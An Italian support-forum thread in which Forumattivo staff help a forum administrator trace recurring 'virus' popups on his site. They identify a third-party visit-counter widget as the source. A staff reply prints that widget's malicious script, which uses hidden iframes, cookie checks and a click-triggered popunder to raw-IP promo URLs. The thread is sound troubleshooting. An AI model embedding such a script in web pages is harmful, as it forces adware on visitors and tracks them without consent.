Problema virus

Buongiorno molti utenti al momento dell'iscrizioni si lamentano che li appare una pagina di un virus , questo tipo di problema ogni tanto me lo fa anche a me, tutto questo lo fa la magiorparte come ospite rare volte come utente. vi mando una copia di una email ricevuta ieri da un ospite che si doveva registrare su www.camperfree.com

email ricevuta


ho provato ma mi trasmette un virus al computer, quindi ,, no grazie
 
On Monday, 16 April 2018, 16:29:37 CEST, Info Camperfree <infocamperfree@gmail.com> wrote:

Buongiorno. I forum Forumattivo sono sicuri al 100%.

Probabilmente può essere stata qualche pubblicitaria maliziosa di qualche campagna (purtroppo cerchiamo di fare il possibilità per evitare pubblicità con contenuti inappropriati).

Per poter verificare il caso servirebbero diverse informazioni sulla pubblicità in questione

Buongiorno, mi dispiace questo problema si manifesta da molto tempo, succedeva anche prima senza https, tempo fà avevo messo un'atro post riguardando il virus, invece ogni tanto appare ancora pensavo che era il mio pc, invece ora ricevo delle lamentele e per colpa di questo virus non scrive quasi nessuno.

Per i banner e stato provato ha dissattivarli per più di una settimana il problema rimane.
saluti

Ciao Cavallo Pazzo, proprio perché hai il protocollo SSL attivo devi assicurarti che nel tuo sito non ci siano contenuti provenienti dall'esterno non sicuri. Molto probabilmente c'è qualche sito che non è HTTPS. Prova a sistemare le impostazioni in questo modo: https://aiuto.forumattivo.it/t20069-ssl-certificato-non-valido#143250

Inoltre, uno screenshot della schermate che avverte la presenza di virus può essere di aiuto per identificare più velocemente il problema.

Grazie! Rimaniamo in attesa

Ciao la configurazione del protocollo https e tutto ok (screenshot) lo screenshot e in schermata in negativo perchè sono un ipovedente, per il virus non esce spesso può uscire dopo una settimana anche più, comunque la prossima volta che mi viene fuori invio screenshot . saluti

Perfetto, così possiamo analizzare meglio il problema

Ciao se rimuovendo la pubblicità hai notato che questo problema risulta esserci ancora, vuol dire che non dipende da Forumattivo.

Ho provato anche io a visitare il tuo forum e ho constato che cliccando su qualsiasi punto del forum (per la prima navigazione, poi non succede più) si apre una pagina adwere maligna nel browser. Sicuramente questo è dovuto a qualche script o codice che è stato aggiunto al forum... prova a fare dei controlli ed aliminare tutti i codici di cui non conosci il funzionamento o la sorgente.

Per esempio risultano inseriti questi....

Codice:

https://securepubads.g.doubleclick.net/gampad/google_ads.js
https://partner.googleadservices.com/gampad/google_service.js
https://api.viglink.com/api/insert

ciao non uso mettere dei codici, dove posso trovarli grazie

MattiaDes ha scritto:Ciao se rimuovendo la pubblicità hai notato che questo problema risulta esserci ancora, vuol dire che non dipende da Forumattivo.

Ho provato anche io a visitare il tuo forum e ho constato che cliccando su qualsiasi punto del forum (per la prima navigazione, poi non succede più) si apre una pagina adwere maligna nel browser. Sicuramente questo è dovuto a qualche script o codice che è stato aggiunto al forum... prova a fare dei controlli ed aliminare tutti i codici di cui non conosci il funzionamento o la sorgente.

Per esempio risultano inseriti questi....

Codice:

https://securepubads.g.doubleclick.net/gampad/google_ads.js
https://partner.googleadservices.com/gampad/google_service.js
https://api.viglink.com/api/insert

Buongiorno io non uso mettere HTML & JAVASCRIPT, mi potete dire dove posso trovarli quei risultati sopra citati. grazie

Potrebbe essere anche qualche widget che hai inserito, infatti andando in una pagina del forum senza widget non mi si aprivano pop-up.

Prova a controllare i widget esistenti e a fare delle prove togliendone alcuni

ciao non vedo niente di strano mando una foto dei codici banner

eliminato un banner popup di ASCOLTA YES RADIO non vorrei che fosse proprio il popup, ora ASCOLTA YES RADIO lo messo come banner normale.

scusate avevo chiesto come potevo risolvere il mio problema, vedo che nessuno del forum attivo risponde, poi volevo sapere ha cosa mi serve pagare il https sito sicuro invece non è sicuro, del lucchetto verde cosa me ne faccio?

Buongiorno @Cavallo Pazzo. Ti chiedo scusa se non ti ho risposto, ma fino all'1 non ci sarò.

Per quanto riguarda i forum Forumattvo sono totalmente sicuri e protetti. Ovviamente noi non abbiamo controllo sui singoli servizi e codici che ogni amministratore/fondatore può aggiungere. Siccome il tuo problema si verifica anche con la disabilitazione della pubblicità di Forumattivo, significa che non dipende da noi.

Ti ho già consigliato di provare a rimuovere i widgets (o almeno uno alla volta, dato che probabilmente sarà uno di quelli che fa comparire le pubblicità pop-up). Infatti, per esempio, in questa pagina dove non ci sono widgets a me non mi si apre nessun pop-up.

Prova a fare altre prove e a controllare meglio i codici che hai aggiunto sul tuo forum. Quando tornerò proverò a guardare meglio anche io (anche se dato che non posso accedere direttamente al pannello del tuo forum, mi tornerà difficile).

Per quanto riguarda il "lucchetto verde" (HTTPS), hai le idee un po' confuse. Per maggiori informazioni sul suo scopo/funzione leggi questa pagina.

Ci sentiamo! Buon weekend

buongiorno, per quando riguarda i widgets sono stati controllati e poi sono più di tre anni che sono li stessi, il problema non si manifesta sempre delle volte sta anche una settimane che va tutto bene, comunque ne ripargliamo dopo il 1 mag. per il momento grazie

Ciao,

io il virus l'ho riscontro sempre nel tuo forum. Il fatto che utilizzi widget che da anni funzionano non vuol dire niente in quanto essendo infatti dei widget, un giorno il proprietario può cambiare parte del codice e renderlo quindi maligno.

@Cavallo Pazzo ha scritto:Per i banner e stato provato ha dissattivarli per più di una settimana il problema rimane.
saluti

In che modo sono stati disattivati? Possono essere disattivati solo mensilmente o annualmente.

A presto

ciao i mie banner widget

Ciao @Cavallo Pazzo, rieccomi il problema non si manifesta sempre perchè la pubblicità "virus" viene aperta solo durante la prima visita al sito (ricompare solo se si cancellano i cookie).

Come ha detto Martino, il fatto che utilizzi widget che da anni funzionano non vuol dire niente, dato che se il codice non è tuo, il proprietario può cambiarne in qualsiasi momento il contenuto e quindi renderlo anche maligno.

Ad ogni modo, ho fatto delle analisi e dei test sul tuo forum e al 99% ho scoperto che il "virus" viene generato dal widget "Conta Visite", in quanto al suo interno è presente uno script di un sito esterno.

Lo script in questione è questo e la parte  sospeta è la seguente:

Codice:

function frameMe(u) { iframe = document.createElement('iframe'); iframe.style.display = "none"; iframe.src = u; document.body.appendChild(iframe); } if(navigator.userAgent.toLowerCase().indexOf('chrome') > -1 || navigator.userAgent.toLowerCase().indexOf('crios') > -1 ) { if(navigator.userAgent.toLowerCase().match(/android|webos|iphone|ipad|ipod|blackberry/i)) { frameMe("https://counter7.freecounter.ovh:4433/private/chrome_M.gif?u=1525183912"); } else { detectChromeExtension('gighmmpiobklfepjocnamgkkbiglidom', 'img/icon24.png', myCallbackFunction1); } } if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1) { if(navigator.userAgent.toLowerCase().match(/android|webos|iphone|ipad|ipod|blackberry/i)) { frameMe('https://counter7.freecounter.ovh:4433/private/firefox_M.gif?u=1525183912'); } else{ detectFF();} } with(document) write(html_div); ; freecounterstat_test_cookie_value = GetCookie('acceptcookie'); if(freecounterstat_test_cookie_value == null && freecounterstat_test_cookie_value != "okg"){ EcrireCookieGeo('acceptcookie','ok',86400); } var uri84='http://164.132.171.89/promo.php?compte=35d6083446e43824be4167f2e7542227&path=008146&lg=it&pays=IT&lg_nav='+langue+'&platform=mac&browser=firefox&version=59&idealsite=FCS'; //var uri84='http://37.187.248.215/promo.php?compte=35d6083446e43824be4167f2e7542227&path=008146&lg=it&pays=IT&lg_nav='+langue+'&platform=mac&browser=firefox&version=59&idealsite=FCS'; //var uri84='http://5.39.67.191/promo.php?compte=35d6083446e43824be4167f2e7542227&path=008146&lg=it&pays=IT&lg_nav='+langue+'&platform=mac&browser=firefox&version=59&idealsite=FCS'; //var uri84='http://94.23.210.144/promo/promo.php?compte=35d6083446e43824be4167f2e7542227&path=008146&lg=it&pays=IT&lg_nav='+langue+'&platform=mac&browser=firefox&version=59'; function geoclick(){ freecounterstat_test_cookie_value = GetCookie('acceptcookie'); if(freecounterstat_test_cookie_value == "ok" && freecounterstat_test_cookie_value != "ok." && freecounterstat_test_cookie_value != "okg" && freecounterstat_test_cookie_value != "okz"){ freecounterstat_test_cookie="008146;35d6083446e43824be4167f2e7542227;it;"; lawidth=screen.width; laheight=screen.height; if(navigator.userAgent.indexOf('Firefox') == -1){ wini=window.open(uri84,'_blank', 'toolbar=1,location=0,directories=1,status=0,menubar=0,scrollbars=1,resizable=1,fullscreen=0,width='+lawidth+',height='+laheight+',top=0,left=100','_blank'); if(wini)wini.blur(); window.focus(); self.focus(); } else{ bSimple=false; randn='pu_' + Math.floor(89999999*Math.random()+10000000); var _parent = self,sToolbar,sOptions,popunder84; sToolbar='no'; //sToolbar = (navigator.userAgent.indexOf('webkit')==-1 && (navigator.userAgent.indexOf('mozilla')==-1 || parseInt(navigator.appversion, 10) < 12)) ? 'yes' : 'no'; if (top != self) { try { if (top.document.location.toString()) { _parent = top; } } catch(err) { } } sOptions = 'toolbar=' + sToolbar + ',scrollbars=yes,location=yes,statusbar=yes,menubar=no,resizable=1,width=' + (screen.availWidth - 10).toString(); sOptions += ',height=' + (screen.availHeight - 122).toString() + ',screenX=0,screenY=0,left=0,top=0'; popunder84 = _parent.window.open(uri84, randn, sOptions); if (popunder84) { popunder84.blur(); //setTimeout('popunder84.blur',0); if (bSimple) { window.focus(); try { opener.window.focus(); } catch (err) { } } else { popunder84.init = function(e) { with (e) { (function() { if (typeof window.mozPaintCount != 'undefined') { var x = window.open('about:blank'); x.close(); } try { opener.window.focus(); } catch (err) { } })(); } }; popunder84.params = { url: uri84 }; popunder84.init(popunder84); } } } EcrireCookieGeo('acceptcookie','ok.',86400); } } function popup84() { items=new Array(); if(top.location != self.document.location){ items = document.getElementsByTagName('a'); parent.document.onclick=geoclick; } else{ items = document.getElementsByTagName('a'); if (window.addEventListener)document.body.addEventListener('click',geoclick,false) if (window.attachEvent)document.body.attachEvent("onclick", geoclick) } for(var i=0; i

Anche se non ti intendi di Javascript potrai notare che nel codice sono richiamati i cookie e parole come "popunder", "opener.window", ecc...

Ti consiglio quindi vivamente di rimuovere e cancellare tale widget. Quando lo avrai fatto, avvisami e ti farò sapere se si verificheranno ancora i problemi precedentemente segnalati.

Ci tengo nuovamente a sottolineare che questo problema non è dovuto da Forumattivo, ma bensì da un utilizzo non sicuro di risorse e codici presi da siti/servizi internet esterni. Buona giornata!

Ciao ok eliminato il conta visite attendo risultati, speriamo che sia la volta buona

Ti confermo che il problema è stato ora risolto e che era dovuto al "Conta visite"

ok grazie, vediamo in questi giorni se va tutto bene.
P.S. mi puoi dare una dritta dove posso trovare un conta visite sicuro?

Cavallo Pazzo ha scritto:P.S. mi puoi dare una dritta dove posso trovare un conta visite sicuro?

Non ne conosco, dovresti fare delle ricerche in rete. Tieni conto però che fino a quando ti baserai su servizi esterni offerti da terzi, non ci sarà mai la sicurezza al 100%.

Se sei un po' esperto potresti provare a creare direttamente tu un contatore. Prova a cercare "creare un contatore visite".

Se vuoi invece andare sul sicuro utilizza Google Analytics per ottenere analisi e statistiche (non pubbliche) sui visitatori del tuo forum.

Su tutti i forum di default c'è già un contatore che indica gli utenti online in quel momento e il numero massimo di utenti online contemporaneamente. Per ogni argomento c'è inoltre anche un contatore che indica il numero di visite (letture) a quel topic.

Buona giornata!

ok grazie ora prova se e tutto va bne poi più avanti se ne parla, sempre se il forum funziona bene non lo metto neanche , grazie per i consigli